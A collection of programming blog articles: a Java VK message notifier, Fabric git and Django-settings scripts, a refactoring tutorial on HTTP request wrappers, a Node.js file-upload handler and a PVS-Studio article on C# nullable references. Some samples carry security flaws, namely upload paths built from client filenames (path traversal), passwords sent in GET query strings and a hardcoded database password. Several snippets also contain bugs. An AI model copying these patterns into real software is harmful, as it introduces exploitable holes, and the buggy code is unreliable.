Для этих целей я создал класс VKapi, который будет иметь два метода: Получить token и получить список сообщений.
Метод первый — получение token'а:
```
HttpClient httpClient = new DefaultHttpClient();
// Делаем первый запрос
HttpPost post = new HttpPost("http://oauth.vk.com/authorize?" +
"client_id="+client_id+
"&scope="+scope+
"&redirect_uri="+redirect_uri+
"&display="+display+
"&response_type="+response_type);
HttpResponse response;
response = httpClient.execute(post);
post.abort();
//Получаем редирект
String HeaderLocation = response.getFirstHeader("location").getValue();
URI RedirectUri = new URI(HeaderLocation);
//Для запроса авторизации необходимо два параметра полученных в первом запросе
//ip_h и to_h
String ip_h= RedirectUri.getQuery().split("&")[2].split("=")[1];
String to_h=RedirectUri.getQuery().split("&")[4].split("=")[1];
// Делаем запрос авторизации
post = new HttpPost("https://login.vk.com/?act=login&soft=1"+
"&q=1"+
"&ip_h="+ip_h+
"&from_host=oauth.vk.com"+
"&to="+to_h+
"&expire=0"+
"&email="+email+
"&pass="+pass);
response = httpClient.execute(post);
post.abort();
// Получили редирект на подтверждение требований приложения
HeaderLocation = response.getFirstHeader("location").getValue();
post = new HttpPost(HeaderLocation);
// Проходим по нему
response = httpClient.execute(post);
post.abort();
// Теперь последний редирект на получение токена
HeaderLocation = response.getFirstHeader("location").getValue();
// Проходим по нему
post = new HttpPost(HeaderLocation);
response = httpClient.execute(post);
post.abort();
// Теперь в след редиректе необходимый токен
HeaderLocation = response.getFirstHeader("location").getValue();
// Просто спарсим его сплитами
access_token = HeaderLocation.split("#")[1].split("&")[0].split("=")[1];
```
Для получения списка сообщений api Вконтакте имеет метод [messages.get](http://vk.com/developers.php?oid=-1&p=messages.get)
Метод второй — получение списка сообщений:
```
//формируем строку запроса
String url = "https://api.vk.com/method/"+
"messages.get"+
"?out=0"+
"&access_token="+access_token
;
String line = "";
try {
URL url2 = new URL(url);
BufferedReader reader = new BufferedReader(new InputStreamReader(url2.openStream()));
line = reader.readLine();
reader.close();
} catch (MalformedURLException e) {
// ...
} catch (IOException e) {
// ...
}
return line;
```
Класс полностью:
```
public class VKapi {
private String client_id = "2971510";
private String scope = "messages";
private String redirect_uri = "http://oauth.vk.com/blank.html";
private String display = "popup";
private String response_type = "token";
private String access_token;
private String email = "******";//тут должен быть прописан email
private String pass = "******";//тут должен быть прописан пароль
public void setConnection() throws IOException, URISyntaxException {
//Ранее описанный код получения token'a
}
public String getNewMessage() throws ClientProtocolException, IOException, NoSuchAlgorithmException, URISyntaxException {
//Ранее описанный код получения списка сообщений
}
}
```
Все, что осталось, это создать экземпляр класса, получить token и в бесконечном цикле получать списки сообщений. Если вновь полученный список отличается от предыдущего, тогда выводим уведомление о новом сообщении.
В результате получаем:
```
public static void main(String[] args) throws IOException, URISyntaxException, AWTException, InterruptedException, NoSuchAlgorithmException {
//Создадим раскрывающееся меню
PopupMenu popup = new PopupMenu();
//Создадим элемент меню
MenuItem exitItem = new MenuItem("Выход");
//Добавим для него обработчик
exitItem.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
System.exit(0);
}
});
//Добавим пункт в меню
popup.add(exitItem);
SystemTray systemTray = SystemTray.getSystemTray();
//получим картинку
Image image = Toolkit.getDefaultToolkit().getImage("vk_icon.png");
TrayIcon trayIcon = new TrayIcon(image,"VKNotifer",popup);
trayIcon.setImageAutoSize(true);
//добавим иконку в трей
systemTray.add(trayIcon);
trayIcon.displayMessage("VKNotifer", "Соединяемся с сервером",TrayIcon.MessageType.INFO);
//Создадим экземпляр класса ВКапи
VKapi vkAPI = new VKapi();
//Получим токен
vkAPI.setConnection();
trayIcon.displayMessage("VKNotifer", "Соединение установлено",TrayIcon.MessageType.INFO);
//Бескоечный цикл
String oldMessage = vkAPI.getNewMessage();
String newMessage;
int i = 0;
for (;;){
// Запросы на сервер можно подавать раз в 3 секунды
Thread.sleep(3000); // ждем три секунды
if (i == 15000){ // Если прошло 45 000 сек (Время взято с запасом, токен дается на день )
vkAPI.setConnection(); // Обновляем токен
Thread.sleep(3000); // Запросы шлем только раз в три секунды
i = 0;
}
//Здесь отработка
newMessage = vkAPI.getNewMessage();
if (!newMessage.equals(oldMessage)) {
oldMessage = newMessage;
trayIcon.displayMessage("VKNotifer", "Получено новое сообщение",TrayIcon.MessageType.INFO);
Tools.playDrum(Drum.d53_Ride_Bell, 127,0);
}
i++;
}
}
```
Кроме всплывающего окна, также используется звуковое оповещение.
```
Tools.playDrum(Drum.d53_Ride_Bell, 127,0);
```
Для этого используется библиотека из [этого топика](http://habrahabr.ru/post/127840/)
Я знаю, что это не идеальное исполнение, но самое главное — оно вполне решило мои проблемы. Спасибо за внимание. | https://habr.com/ru/post/144813/ | null | ru | null |
# Fabric — пара прикладных рецептов
Сегодня неожиданно понял, что скрипты — это сила (спустя несколько месяцев использования **fabric**). На самом деле 30 минут потраченные на написание адекватного сценария избавляют от многих совокупных часов повторения ненужных действий. Для упрощения жизни адептов **python**'а существует такой прекрасный модуль как **fabric**. И я хочу поделиться парой кусков своего **fab**-файла как пример упрощения жизни девелопера.
Это будут функции: «умный» комментатор *локальных* файлов и **git**-коммитер.
Прежде всего поставьте fabric и, впредь, ставьте её везде (если, вдруг, Вы ещё так не делаете)!
```
pip install fabric
```
#### Коммитер
Ничего сверхъестественного — просто удобный рецепт:
```
# -*- coding: utf-8 -*-
from fabric.api import local, prompt, settings
env.test_branch = 'test'
env.dev_branch = 'dev'
def commit():
"""
Коммит изменений.
"""
with settings(warn_only=True):
local('git status')
prompt('Press to continue or to cancel.') # тут можно прервать коммит,
# если в него попали ненужные файлы или наоборот
local('git add .')
local('git commit') # тут вылазит консольный редактор и можно ввести комментарий
def merge\_dev\_to\_test(with\_return=True):
"""
Слияние изменений из разработки в тестовую ветку.
"""
local('git checkout %s' % env.test\_branch) # переход в тестовую ветку
local('git merge --no-ff %s' % env.dev\_branch) # слияние с веткой разработки
if with\_return:
local('git checkout %s' % env.dev\_branch) # опциональное возвращение назад
def to\_test()
"""
Коммит изменений в тестовую ветку.
"""
commit()
merge\_dev\_to\_test()
```
Функция `merge_dev_to_test` очень прикладная и её можно легко универсализировать.
Собственно этот скриптик заменяет ввод 6 команд, на ввод одной `fab to_test` и ввод комментария в редакторе. При этом он даёт предпросмотр — какие изменения произойдут в бранче и сливает наработки из разработческой ветки в тестовую. Если слияние не нужно — просто выполняем `fab commit`.
#### Комментер
Я использую его как переключатель вариантов настроек **Django**.
*Отвлекаясь, сразу хочу сказать, что это не единственно верный способ использования разных настроек django для разных ситуаций. Это просто один из них. Другие варианты можно посмотреть [здесь](https://code.djangoproject.com/wiki/SplitSettings).*
```
# -*- coding: utf-8 -*-
from os import path
from fabric.api import env, local
env.settings_files = (
path.join('projcet_root', 'settings.py'),
path.join('projcet_root', 'module', 'settings.py'),
)
env.settings_versions = {
'develop': '#-D',
'test': '#-T',
'production': '#-P',
}
def _commenter(c_type, filename, regex, use_sudo=False, char='#', backup='.bak'):
"""
Обработка комментариев в локальных файлах.
"""
if use_sudo:
sudoer = 'sudo '
else:
sudoer = ''
if regex.startswith('^'):
regex = regex[1:]
if regex.endswith('$'):
regex = regex[:-1]
if c_type == 'comment':
replacement = '%s ' % char
char = '[^%s ]' % char
regex = '(%s.+%s.*)' % (char, regex)
else:
replacement = ''
regex = r'%s ?(.+%s.*)' % (char, regex)
local(r"{sudo}sed -i{backup} -r -e 's/^([[:space:]]*){regex}$/"
r"\1{replacement}\2/g' {filename}".format(**{
'sudo': sudoer,
'backup': backup,
'replacement': replacement,
'regex': regex,
'filename': filename,
}))
def lcomment(*args, **kwargs):
"""
Комментирование.
"""
_commenter('comment', *args, **kwargs)
def luncomment(*args, **kwargs):
"""
Разкомментирование.
"""
_commenter('uncomment', *args, **kwargs)
def update_settings(mode):
"""
Изменение настроек.
"""
for filename in env.settings_files:
for version in env.settings_versions:
if mode == version:
luncomment(filename, versions[version])
elif:
lcomment(filename, versions[version])
```
Код также доступен в [гисте](https://gist.github.com/2284744).
В самом `fabric` есть модуль `contrib.files` с функцией `comment` которую, по большому счёту, и повторяет «комментер» с той разницей, что работает локально, и комментарии ставит не в начало строки, а перед текстом вставляя между символом комментария и текстом пробел (как это делает **sublime text**) и ищет маркер только в конце строки.
Что он умеет. По команде `fab update_settings:mode=<режим>` он у меет обходить файлы из списка `env.settings_files` по дороге раскомментируя строки с маркером соответствующим режиму и комментируя с маркером не соответствующим.
Т.е. вызов `fab update_settings:mode=test` пробежится по файлам `/project_root/settings.py` и `/project_root/module/settings.py` комментируя строки, заканчивающиеся на '#-D' и '#-P' и раскомментируя заканчивающиеся на '#-T'.
Что позволяет писать конфигурации типа:
```
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'dvl', # #-D
# 'NAME': 'prd', # #-P
# 'NAME': 'tst', # #-T
'USER': 'ruutt',
'PASSWORD': 'gigopasswort',
'CHARSET': 'UTF8',
},
}
```
…разделяя их на стадии коммита:
```
def deploy(branch):
env.test_branch =branch # заменили тестовый бранч на нужный
commit(False) # коммитим и мержим в нужный бранч, оставаясь в нём
update_settings(branch) # в нужном бранче меняем настройки на нужные
# тут можно ещё покольдовать, закоммитить, запушить и т.д.
local('git checkout %s' % env.dev_branch) # возвращаемся в бранч разработки
prompt("OK. Press any to exit.") # если вдруг из IDE раскрывается окно с консолью -
# эта строчка не даст ему закрыться и унести с собой результаты успешного исполнения.
```
А воспользоваться всей это мешаниной можно так `fab deploy:branch=test`. Считать сколько команд в консоли и времени на них потраченного будет сэкономлено я оставляю Вам.
Вот такой вот наработкой решил поделиться. А то как-то **fabric** уж очень вскользь упоминается на страницах нашего любимого журнала… | https://habr.com/ru/post/141271/ | null | ru | null |
# Основы борьбы с неявным дублированием кода
Код с одной и той же структурой в двух и более местах — верный признак необходимости рефакторинга. Если вам нужно будет что-нибудь изменить в одном месте, то, скорее всего, нужно также сделать **то же самое** и в других местах. Но есть близкая к 100% вероятность не найти эти места или попросту забыть за них.
Большинство понимает, что многократное повторение кода (или copy-paste) в примере ниже — зло:
```
//
// здесь и далее - псевдокод
//
void DrawCircle(int x, int y, int radius) {
/// рисуем круг с центром в точке (x, y) радиусом radius
}
…
DrawCircle(getScreenMetrics().width / 2, getScreenMetrics().height / 2, 100500);
DrawCircle(getScreenMetrics().width / 2, getScreenMetrics().height / 2, 100600);
```
Самый очевидный выход из положения — вынести координаты центра круга в отдельные переменные:
```
ScreenMetrics metrics = getScreenMetrics();
int centerX = metrics.width / 2;
int centerY = metrics.height / 2;
DrawCircle(centerX, centerY, 100);
DrawCircle(centerX, centerY, 200);
```
В примере выше дублирование устраняется за две секунды ~~потому, что пример высосан из пальца~~ потому, что выражения, задающие координаты центра кругов, полностью совпадают:
```
getScreenMetrics().width / 2, getScreenMetrics().height / 2
```
В то же время, далеко не все разработчики умеют распознать и устранить неявное дублирование кода.
Возьмем для примера некое мобильное приложение, которое взаимодействует с API сервера и
позволяет авторизованному пользователю просматривать и загружать фотографии:
```
HttpResponse login(String email, String password) {
HttpRequest request = new HttpRequest();
request.setMethod(“GET”);
request.setContentType("application/x-www-form-urlencoded");
String parameters = "?login=" + login + "&password=" + password;
String uri = "https://mycoolsite.com/api/login" + parameters;
request.setUrl(uri);
return request.execute();
}
...
HttpResponse getPhotos(int userId) {
String uri = "https://mycoolsite.com/api/get_photos?user_id=" + user_id;
HttpRequest request = new HttpRequest();
request.setMethod("GET");
request.setUrl(uri);
request.setContentType("application/x-www-form-urlencoded");
return request.execute();
}
…
bool uploadPhoto(Bitmap photo, int user_id) {
HttpRequest request = new HttpRequest();
HttpBody body = convertBitmapToHttpBody(photo);
request.setUrl("https://mycoolsite.com/api/upload_photo?user_id=" + user_id);
request.setMethod("POST");
request.setContentType(“multipart/form-data”);
request.setHttpBody(body);
HttpResponse response = request.execute();
return (response.getStatusCode()== 200);
}
```
… и еще 100500 подобных методов общим количеством, равным числу вызовов API.
Что произойдет, если mycoolsite.com переедет на awesome.net? Придется искать по всему проекту вызовы request.execute() и править строки. И где-нибудь обязательно забудете подправить URL или просто опечатаетесь. В итоге потратите кучу времени, отправите ближе к ночи “исправленный” билд заказчику, но на следующий день ВНЕЗАПНО получите bug report: “Перестал работать upload фотографий”, например.
Если не писать код сразу “в лоб”, а ~~пойти покурить~~ остановиться и немного подумать, то можно заметить, что все три метода выше делают практически одно и то же:
* создают экземпляр класса HttpRequest
* выставляют необходимые свойства экземпляру (HTTP method, content type)
* задают URL с параметрами
* опционально: добавляют к телу запросы бинарные данные.
Для начала следует вынести общий код в отдельные методы:
```
public HttpRequest createGetRequest() {
HttpRequest request = new HttpRequest();
request.setMethod("GET");
request.setContentType("application/x-www-form-urlencoded");
return request;
}
public HttpRequest createPostRequest() {
HttpRequest request = new HttpRequest()
request.setMethod("POST");
request.setContentType("multipart/form-data");
return request;
}
```
Отдельное внимание стоит обратить на передачу параметров и формирование URI запроса.
В изначальной версии кода используется конкатенация строк:
```
String uri = "https://mycoolsite.com/api/get_photos?user_id=" + user_id;
```
То есть, для каждого запроса нужно формировать строку URI, а это тоже дублирование кода
и чревато проблемами при внесении изменений. Корневой адрес API и добавление параметров
к URI следует держать в одном месте.
```
public static final String API_BASE_URL = "https://mycoolsite.com/api/";
```
Перед формированием URI запроса соберем все параметры и их значения в Map:
```
Map params = new HashMap();
...
public void addParam(Map params, String param, String value) {
params.put(param, value);
}
// Перегрузим метод для передачи целочисленных параметров
public void addParam(Map params, String param, int value) {
params.put(param, String.valueOf(value));
}
```
Теперь, чтобы сформировать полный URI запроса, напишем следующий код:
```
public String getUri(String path, Map params) {
StringBuilder query = new StringBuilder("?");
Iterator iterator = params.allKeys().iterator();
while (iterator.hasNext()) {
String paramName = iterator.next();
query.add(paramName + "=" + params.get(paramName));
if (iterator.hasNext()) {
query.add("&");
}
}
return API\_BASE\_URL + path + result.toString();
}
```
Итак, чтобы выполнить запрос к серверу, нам нужно:
* создать объект запроса:
```
HttpRequest request = createGetRequest(); // или createPostRequest, в зависимости от ситуации
```
* сформировать URI запроса:
```
Map params = new HashMap();
...
addParam(params, "user\_id", userId); // предположим, что userId задан ранее
String uri = getUri("get\_photos"); // сформируется следующая строка: https://mycoolsite.com/api/get\_photos?user\_id=%user\_id%
```
Теперь можно выполнить запрос к серверу, получить ответ, а дальше сделать с ним всё что угодно:
```
request.setUrl(uri);
HttpResponse response = request.execute();
```
Теперь вынесем всё это добро в отдельный класс. Также унаследуем этот класс от
HttpRequest, так как в отдельных случаях нам нужно пользоваться его методами.
Получим примерно следующий код:
```
public class MyRequest extends HttRrequest {
private static final String API_BASE_URL = "https://mycoolsite.com/api/";
private Map mParameters;
private MyRequest() {
super();
mParameters = new HashMap();
}
public static MyRequest createGetRequest() {
MyRequest request = new MyRequest();
request.setMethod("GET");
request.setContentType("application/x-www-form-urlencoded");
return request;
}
public static MyRequest createPostRequest() {
MyRequest request = new MyRequest()
request.setMethod("POST");
request.setContentType("multipart/form-data");
return request;
}
public void addParam(String name, String value) {
mParameters.put(name, value);
}
public void addParam(String name, int value) {
addParam(name, String.valueOf(value));
}
public HttpResponse send(String path) {
String uri = API\_BASE\_URL + path getParametersString();
setUrl(uri);
execute();
}
private String getParametersString() {
StringBuilder result = new StringBuilder("?");
Iterator iterator = mParameters.allKeys().iterator();
while (iterator.hasNext()) {
String paramName = iterator.next();
result.add(paramName + "=" + mParameters.get(paramName));
if (iterator.hasNext()) {
result.add("&");
}
}
return result.toString();
}
}
```
Теперь код вызовов API будет выглядеть следующим образом:
```
HttpResponse login(String login, String password) {
MyRequest request = MyRequest.createGetRequest();
request.addParam("login", login);
request.addParam("password", password);
return request.send("login");
}
HttpResponse getPhotos(int userId) {
MyRequest request = MyRequest.createGetRequest();
request.addParam("user_id", userId);
return request.send("get_photos");
}
HttpResponse uploadPhoto(Bitmap photo, int userId) {
MyRequest request = MyRequest.createPostRequest();
request.addParam(“user_id”, userId);
request.setHttpBody(convertBitmapToHttpBody(photo));
return request.send(“upload_photo”);
}
```
Как видим, методы login, getPhotos и uploadPhoto стали короче, проще и понятнее.
Это был пример нетривиального, многошагового рефакторинга. В итоге появился новый класс MyRequest, являющийся оберткой над системным HttpRequest, ~~с преферансом и куртизанками~~ с возможностью задания параметров запроса и парой других приятных мелочей. Можно также заметить насколько меньше, проще и понятнее стали методы конкретных вызовов API. Добавить новый вызов не составит практически никакого труда.
На такой рефакторинг потратится на пару часов больше времени, чем на добавление еще одного вызова API методом копи-паста. Зато в дальнейшем на внесение изменений и отладку будут тратиться считанные минуты, а не дни.
Естественно, получившийся код далеко не идеален, но всё же он гораздо лучше, чем до рефакторинга, а это уже большой
шаг вперед, причем малой кровью. В дальнейшем, при наличии времени, можно и нужно улучшать этот код.
Мораль: заметили дублирование — устраните его **немедленно**. Сэкономите в будущем кучу времени и нервов.
При этом, устраняя «сложное» дублирование, потратьте время на повторное проектирование небольшой части проекта,
не пишите код сразу.
Подробнее читайте в [книжке Фаулера про рефакторинг](http://www.books.ru/books/refaktoring-uluchshenie-sushchestvuyushchego-koda-fail-pdf-552092/?show=1).
**Буду рад конструктивной критике, предложениям и дополнениям к статье. Спасибо за внимание!** | https://habr.com/ru/post/197932/ | null | ru | null |
# Node.js + JQuery Ajax. Загрузка файлов на сервер
#### Введение
В данные статье я хочу вам рассказать о моем способе загрузки файлов на сервер Node.js с помощью JQuery Ajax. Да, я понимаю что есть уже и другие решения, например [JQuery File Upload](http://blueimp.github.io/jQuery-File-Upload/), но все таки иногда хочется сделать что-то уже существующее, для того чтобы понять как это все устроено. Данное решение является учебным примером, все замечания по поводу кода или предложения по его улучшению оставляйте в комментариях.
#### Что будем использовать
1. [Bootstrap](http://getbootstrap.com/)
2. [JQuery](http://jquery.com/)
3. [Модуль для Node.js Multiparty](https://www.npmjs.org/package/multiparty)
#### Отправка файла с помощью Ajax
Все элементы на странице создаются вручную. За загрузку отвечает класс JSUploader вот один из его методов uploadFile:
```
this.uploadFile = function(index) {
//baseClass это this
var file = baseClass.allFiles[index];
//Создаем объек FormData
var data = new FormData();
//Добавлем туда файл
data.append('uploadFile', file.file);
//отсылаем с попощью Ajax
$.ajax({
url: '/',
data: data,
cache: false,
contentType: false,
processData: false,
type: 'POST',
success: function(response) {
var message = file.element.find('td.message');
if(response.status == 'ok') {
message.html(response.text);
file.element.find('button.uploadButton').remove();
}
else {
message.html(response.errors);
}
},
xhr: function() {
var xhr = $.ajaxSettings.xhr();
if ( xhr.upload ) {
console.log('xhr upload');
xhr.upload.onprogress = function(e) {
file.progressDone = e.position || e.loaded;
file.progressTotal = e.totalSize || e.total;
//обновляем прогресс для файла
baseClass.updateFileProgress(index, file.progressDone, file.progressTotal, file.element);
//обновляем общий прогресс
baseClass.totalProgressUpdated();
};
}
return xhr;
}
});
};
```
#### Обработка загрузки файлов
Для загрузки файлов на сервер нам понадобиться модуль [multiparty](https://www.npmjs.org/package/multiparty), который можно установить с помощью команды в консоле:
`npm install multiparty`
Далее код который обрабатывает post и get запросы начальной страницы. Здесь мы отображаем форму загрузки и обрабатываем post запрос на загрузку файла.
При окончание загрузки мы сообщаем клиенту что все хорошо или если есть ошибки, то отправить их. Единственная проблема по моему мнению — это то, что в данном коде сервер не может сразу завершить загрузку и сообщить об ошибки, для этого приходиться ждать полной загрузки файла. Решение проблемы возможно если мы как-нибудь вызовем сигнал onclose у формы, но к сожалению пока решения я не нашел.
```
var express = require('express'),
router = express.Router(),
fs = require("fs"),
multiparty = require('multiparty');
//здесь выводим форму для загрузки
router.get('/', function(req, res) {
res.render('index', { title: 'Node.js File Uploads' });
});
//здесь происходит сама загрузка
router.post('/', function(req, res, next) {
// создаем форму
var form = new multiparty.Form();
//здесь будет храниться путь с загружаемому файлу, его тип и размер
var uploadFile = {uploadPath: '', type: '', size: 0};
//максимальный размер файла
var maxSize = 2 * 1024 * 1024; //2MB
//поддерживаемые типы(в данном случае это картинки формата jpeg,jpg и png)
var supportMimeTypes = ['image/jpg', 'image/jpeg', 'image/png'];
//массив с ошибками произошедшими в ходе загрузки файла
var errors = [];
//если произошла ошибка
form.on('error', function(err){
if(fs.existsSync(uploadFile.path)) {
//если загружаемый файл существует удаляем его
fs.unlinkSync(uploadFile.path);
console.log('error');
}
});
form.on('close', function() {
//если нет ошибок и все хорошо
if(errors.length == 0) {
//сообщаем что все хорошо
res.send({status: 'ok', text: 'Success'});
}
else {
if(fs.existsSync(uploadFile.path)) {
//если загружаемый файл существует удаляем его
fs.unlinkSync(uploadFile.path);
}
//сообщаем что все плохо и какие произошли ошибки
res.send({status: 'bad', errors: errors});
}
});
// при поступление файла
form.on('part', function(part) {
//читаем его размер в байтах
uploadFile.size = part.byteCount;
//читаем его тип
uploadFile.type = part.headers['content-type'];
//путь для сохранения файла
uploadFile.path = './files/' + part.filename;
//проверяем размер файла, он не должен быть больше максимального размера
if(uploadFile.size > maxSize) {
errors.push('File size is ' + uploadFile.size + '. Limit is' + (maxSize / 1024 / 1024) + 'MB.');
}
//проверяем является ли тип поддерживаемым
if(supportMimeTypes.indexOf(uploadFile.type) == -1) {
errors.push('Unsupported mimetype ' + uploadFile.type);
}
//если нет ошибок то создаем поток для записи файла
if(errors.length == 0) {
var out = fs.createWriteStream(uploadFile.path);
part.pipe(out);
}
else {
//пропускаем
//вообще здесь нужно как-то остановить загрузку и перейти к onclose
part.resume();
}
});
// парсим форму
form.parse(req);
});
```
#### Ссылки
* [Пример на heroku](http://node-file-uploads.herokuapp.com/)
* [Исходный код](https://github.com/xfakehopex/node-file-uploads) | https://habr.com/ru/post/229743/ | null | ru | null |
# Nullable Reference types in C# 8.0 and static analysis
It's not a secret that Microsoft has been working on the 8-th version of C# language for quite a while. The new language version (C# 8.0) is already available in the recent release of Visual Studio 2019, but it's still in beta. This new version is going to have a few features implemented in a somewhat non-obvious, or rather unexpected, way. Nullable Reference types are one of them. This feature is announced as a means to fight Null Reference Exceptions (NRE).
It's good to see the language evolve and acquire new features to help developers. By coincidence, some time ago, we significantly enhanced the ability of PVS-Studio's C# analyzer to detect NREs. And now we're wondering if static analyzers in general and PVS-Studio in particular should still bother to diagnose potential null dereferences since, at least in new code that will be making use of Nullable Reference, such dereferences will become «impossible»? Let's try to clear that up.
Pros and cons of the new feature
--------------------------------
One reminder before we continue: the latest beta version of C# 8.0, available as of writing this post, has Nullable Reference types disabled by default, i.e. the behavior of reference types hasn't changed.
So what are exactly nullable reference types in C# 8.0 if we enable this option? They are basically the same good old reference types except that now you'll have to add '?' after the type name (for example, *string?*), similarly to *Nullable*, i.e. nullable value types (for example, *int?*). Without the '?', our *string* type will now be interpreted as non-nullable reference, i.e. a reference type that can't be assigned *null*.
Null Reference Exception is one of the most vexing exceptions to get into your program because it doesn't say much about its source, especially if the throwing method contains a number of dereference operations in a row. The ability to prohibit null assignment to a variable of a reference type looks cool, but what about those cases where passing a *null* to a method has some execution logic depending on it? Instead of *null*, we could, of course, use a literal, a constant, or simply an «impossible» value that logically can't be assigned to the variable anywhere else. But this poses a risk of replacing a crash of the program with «silent», but incorrect execution, which is often worse than facing the error right away.
What about throwing an exception then? A meaningful exception thrown in a location where something went wrong is always better than an *NRE* somewhere up or down the stack. But it's only good in your own project, where you can correct the consumers by inserting a *try-catch* block and it's solely your responsibility. When developing a library using (non) Nullable Reference, we need to guarantee that a certain method always returns a value. After all, it's not always possible (or at least easy) even in your own code to replace the returning of *null* with exception throwing (since it may affect too much code).
Nullable Reference can be enabled either at the global project level by adding the *NullableContextOptions* property with the value *enable,* or at the file level by means of the preprocessor directive:
```
#nullable enable
string cantBeNull = string.Empty;
string? canBeNull = null;
cantBeNull = canBeNull!;
```
Nullable Reference feature will make types more informative. The method signature gives you a clue about its behavior: if it has a null check or not, if it can return *null* or not. Now, when you try using a nullable reference variable without checking it, the compiler will issue a warning.
This is pretty convenient when using third-party libraries, but it also adds a risk of misleading library's user, as it's still possible to pass *null* using the new null-forgiving operator (!). That is, adding just one exclamation point can break all further assumptions about the interface using such variables:
```
#nullable enable
String GetStr() { return _count > 0 ? _str : null!; }
String str = GetStr();
var len = str.Length;
```
Yes, you can argue that this is bad programming and nobody would write code like that for real, but as long as this can potentially be done, you can't feel safe relying only on the contract imposed by the interface of a given method (saying that it can't return *null*).
By the way, you could write the same code using several *!* operators, as C# now allows you to do so (and such code is perfectly compilable):
```
cantBeNull = canBeNull!!!!!!!;
```
By writing this way we, so to say, stress the idea, «look, this may be *null*!!!» (we in our team, we call this «emotional» programming). In fact, when building the syntax tree, the compiler (from Roslyn) interprets the *!* operator in the same way as it interprets regular parentheses, which means you can write as many *!*'s as you like — just like with parentheses. But if you write enough of them, you can «knock down» the compiler. Maybe this will get fixed in the final release of C# 8.0.
Similarly, you can circumvent the compiler warning when accessing a nullable reference variable without a check:
```
canBeNull!.ToString();
```
Let's add more emotions:
```
canBeNull!!!?.ToString();
```
You'll hardly ever see syntax like that in real code though. By writing the *null-forgiving* operator we tell the compiler, «This code is okay, check not needed.» By adding the Elvis operator we tell it, «Or maybe not; let's check it just in case.»
Now, you can reasonably ask why you still can have *null* assigned to variables of non-nullable reference types so easily if the very concept of these type implies that such variables can't have the value *null*? The answer is that «under the hood», at the IL code level, our non-nullable reference type is still… the good old «regular» reference type, and the entire nullability syntax is actually just an annotation for the compiler's built-in analyzer (which, we believe, isn't quite convenient to use, but I'll elaborate on that later). Personally, we don't find it a «neat» solution to include the new syntax as simply an annotation for a third-party tool (even built into the compiler) because the fact that this is just an annotation may not be obvious at all to the programmer, as this syntax is very similar to the syntax for nullable structs yet works in a totally different way.
Getting back to other ways of breaking Nullable Reference types. As of the moment of writing this article, when you have a solution comprised of several projects, passing a variable of a reference type, say, *String* from a method declared in one project to a method in another project that has the *NullableContextOptions* enabled will make the compiler assume it's dealing with a non-nullable String and the compiler will remain silent. And that's despite the tons of *[Nullable(1)]* attributes added to every field and method in the IL code when enabling Nullable References*.* These attributes, by the way, should be taken into account if you use reflection to handle the attributes and assume that the code contains only your custom ones.
Such a situation may cause additional trouble when adapting a large code base to the Nullable Reference style. This process will likely be running for a while, project by project. If you are careful, of course, you can gradually integrate the new feature, but if you already have a working project, any changes to it are dangerous and undesirable (if it works, don't touch it!). That's why we made sure that you don't have to modify your source code or mark it to detect potential *NRE*s when using PVS-Studio analyzer. To check locations that could throw a *NullReferenceException,* simply run the analyzer and look for V3080 warnings. No need to change the project's properties or the source code. No need to add directives, attributes, or operators. No need to change legacy code.
When adding Nullable Reference support to PVS-Studio, we had to decide whether the analyzer should assume that variables of non-nullable reference types always have non-null values. After investigating the ways this guarantee could be broken, we decided that PVS-Studio shouldn't make such an assumption. After all, even if a project uses non-nullable reference types all the way through, the analyzer could add to this feature by detecting those specific situations where such variables could have the value *null*.
How PVS-Studio looks for Null Reference Exceptions
--------------------------------------------------
The dataflow mechanisms in PVS-Studio's C# analyzer track possible values of variables during the analysis process. This also includes interprocedural analysis, i.e. tracking down possible values returned by a method and its nested methods, and so on. In addition to that, PVS-Studio remembers variables that could be assigned *null* value. Whenever it sees such a variable being dereferenced without a check, whether it's in the current code under analysis, or inside a method invoked in this code, it will issue a V3080 warning about a potential Null Reference Exception.
The idea behind this diagnostic is to have the analyzer get angry only when it sees a *null* assignment. This is the principal difference of our diagnostic's behavior from that of the compiler's built-in analyzer handling Nullable Reference types. The built-in analyzer will point at each and every dereference of an unchecked nullable reference variable — given that it hasn't been misled by the use of the *!* operator or even just a complicated check (it should be noted, however, that absolutely any static analyzer, PVS-Studio being no exception here, can be «misled» one way or another, especially if you are intent on doing so).
PVS-Studio, on the other hand, warns you only if it sees a *null* (whether within the local context or the context of an outside method). Even if the variable is of a non-nullable reference type, the analyzer will keep pointing at it if it sees a *null* assignment to that variable. This approach, we believe, is more appropriate (or at least more convenient for the user) since it doesn't demand «smearing» the entire code with null checks to track potential dereferences — after all, this option was available even before Nullable Reference were introduced, for example, through the use of contracts. What's more, the analyzer can now provide a better control over non-nullable reference variables themselves. If such a variable is used «fairly» and never gets assigned *null*, PVS-Studio won't say a word. If the variable is assigned *null* and then dereferenced without a prior check, PVS-Studio will issue a V3080 warning:
```
#nullable enable
String GetStr() { return _count > 0 ? _str : null!; }
String str = GetStr();
var len = str.Length; <== V3080: Possible null dereference.
Consider inspecting 'str'
```
Now let's take a look at some examples demonstrating how this diagnostic is triggered by the code of Roslyn itself. We already [checked this project](https://www.viva64.com/en/b/0622/) recently, but this time we'll be looking only at potential Null Reference Exceptions not mentioned in the previous articles. We'll see how PVS-Studio detects potential NREs and how they can be fixed using the new Nullable Reference syntax.
*V3080 [CWE-476] Possible null dereference inside method. Consider inspecting the 2nd argument: chainedTupleType. Microsoft.CodeAnalysis.CSharp TupleTypeSymbol.cs 244*
```
NamedTypeSymbol chainedTupleType;
if (_underlyingType.Arity < TupleTypeSymbol.RestPosition)
{ .... chainedTupleType = null; }
else { .... }
return Create(ConstructTupleUnderlyingType(firstTupleType,
chainedTupleType, newElementTypes), elementNames: _elementNames);
```
As you can see, the *chainedTupleType* variable can be assigned the *null* value in one of the execution branches. It is then passed to the *ConstructTupleUnderlyingType* method and used there after a *Debug.Assert* check. It's a very common pattern in Roslyn, but keep in mind that *Debug.Assert* is removed in the release version. That's why the analyzer still considers the dereference inside the *ConstructTupleUnderlyingType* method dangerous. Here's the body of that method, where the dereference takes place:
```
internal static NamedTypeSymbol ConstructTupleUnderlyingType(
NamedTypeSymbol firstTupleType,
NamedTypeSymbol chainedTupleTypeOpt,
ImmutableArray elementTypes)
{
Debug.Assert
(chainedTupleTypeOpt is null ==
elementTypes.Length < RestPosition);
....
while (loop > 0)
{
....
currentSymbol = chainedTupleTypeOpt.Construct(chainedTypes);
loop--;
}
return currentSymbol;
}
```
